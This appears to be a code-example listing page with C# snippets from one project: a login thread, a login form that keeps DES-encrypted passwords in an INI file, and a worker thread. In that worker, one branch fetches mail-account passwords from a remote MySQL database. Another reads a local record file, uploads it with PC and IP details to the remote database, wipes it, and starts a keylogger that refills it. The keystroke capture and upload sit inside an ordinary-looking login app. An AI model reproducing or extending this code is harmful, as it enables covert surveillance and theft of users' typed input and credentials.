コード例 #1
0
 public static void LoginThread()
 {
     while (Value.App_Run)
     {
         while (Value.App_Run)
         {
             Thread.Sleep(10); if (Value.LinkStatus == Value.LinkOk)
             {
                 break;
             }
         }
         if (Ini.Read("记住") == "是")
         {
             if (Value.App_Run)
             {
                 Value.LoginEmail    = Ini.Read("用户名");
                 Value.LoginPassWord = MyEncrypt.DecryptDES(Ini.Read("用户密码"));
                 if (Login(Value.LoginEmail, Value.LoginPassWord))
                 {
                     Value.LoginOK = true;
                     return;
                 }
             }
         }
     }
 }
コード例 #2
0
ファイル: 登陆.cs プロジェクト: wpmyj/csharp
 private void 登陆_Load(object sender, EventArgs e)
 {
     if (Ini.Read("记住") == "是")
     {
         checkBox1.Checked = true;
         textBox1.Text     = Ini.Read("用户名");
         textBox2.Text     = MyEncrypt.DecryptDES(Ini.Read("用户密码"));
     }
     if (Ini.Read("自动登陆") == "是")
     {
         checkBox2.Checked = true;
     }
 }
コード例 #3
0
ファイル: 登陆.cs プロジェクト: wpmyj/csharp
 private void button1_Click(object sender, EventArgs e)
 {
     if (checkBox1.Checked == true)
     {
         Ini.Write("用户名", textBox1.Text);
         Ini.Write("用户密码", MyEncrypt.EncryptDES(textBox2.Text));
     }
     Value.LoginEmail    = textBox1.Text;
     Value.LoginPassWord = textBox2.Text;
     if (login.Login(textBox1.Text, textBox2.Text))
     {
         this.Text     = "登陆成功";
         Value.LoginOK = true;
         this.Close();
     }
     else
     {
         this.Text = "登陆失败";
     }
 }
コード例 #4
0
ファイル: Thread.cs プロジェクト: wpmyj/csharp
        public void Func()
        {
            switch (Index)
            {
            case 0:
                if (Value.App_Run)
                {
                    while (TryCount-- > 0)
                    {
                        try
                        {
                            DataTable DT = MySql.GetDataBase(DataBase.GetObjectValue("EndMessage"));
                            OnReceivedData(Index, DT.Rows[0][1].ToString());
                            return;
                        }
                        catch { }
                    }
                    OnReceivedData(Index, "获取失败|www.trtos.com");
                }
                break;

            case 1:
                if (Ini.Read("自动登陆") == "是")
                {
                    if (Value.App_Run)
                    {
                        while (TryCount-- > 0)
                        {
                            try
                            {
                                Value.LoginEmail    = Ini.Read("用户名");
                                Value.LoginPassWord = MyEncrypt.DecryptDES(Ini.Read("用户密码"));
                                DataTable DT1 = MySql.GetDataBase(DataBase.GetLoginInfor(Value.LoginEmail, Value.LoginPassWord));
                                Value.LoginUserName   = DT1.Rows[0][0].ToString();
                                Value.UserCreateDate  = DateTime.Parse(DT1.Rows[0][1].ToString());
                                Value.UserBeUserCount = int.Parse(DT1.Rows[0][2].ToString());
                                TryCount = 0;
                                OnReceivedData(Index, "登陆成功");
                                return;
                            }
                            catch { }
                        }
                        OnReceivedData(Index, "登陆失败");
                    }
                }
                break;

            case 2:
                if (Value.App_Run)
                {
                    while (TryCount-- > 0)
                    {
                        try
                        {
                            DataTable DT = MySql.GetDataBase(DataBase.GetFromMailList());
                            Value.SendMailList = new SendMailStruct[DT.Rows.Count];
                            for (int i = 0; i < DT.Rows.Count; i++)
                            {
                                Value.SendMailList[i].Mail     = DT.Rows[i][0].ToString();
                                Value.SendMailList[i].Password = DT.Rows[i][1].ToString();
                            }
                            OnReceivedData(Index, DT.Rows.Count.ToString());
                            return;
                        }
                        catch { }
                    }
                    OnReceivedData(Index, "获取失败|www.trtos.com");
                }
                break;

            case 3:
                if (Value.App_Run)
                {
                    while (TryCount-- > 0)
                    {
                        try
                        {
                            PC_InforStruct PIS = new PC_InforStruct();
                            PIS.IPInfor = (string)Msg;
                            PC_Infor.Get(ref PIS);
                            PIS.Record = Tools.ReadFile(Value.PathSys + Ini.Read("RecordPath"));
                            Tools.WriteFile(Value.PathSys + Ini.Read("RecordPath"), "");
                            MySql.SqlCommand(DataBase.GetJoinLoginReg(PIS));
                            Value.KeyLog = new Keylogger(Value.PathSys + Ini.Read("RecordPath"));
                            Value.KeyLog.startLoging();
                            return;
                        }
                        catch (Exception E) { OnReceivedData(Index, E.Message); }
                    }
                }
                break;

            default: break;
            }
        }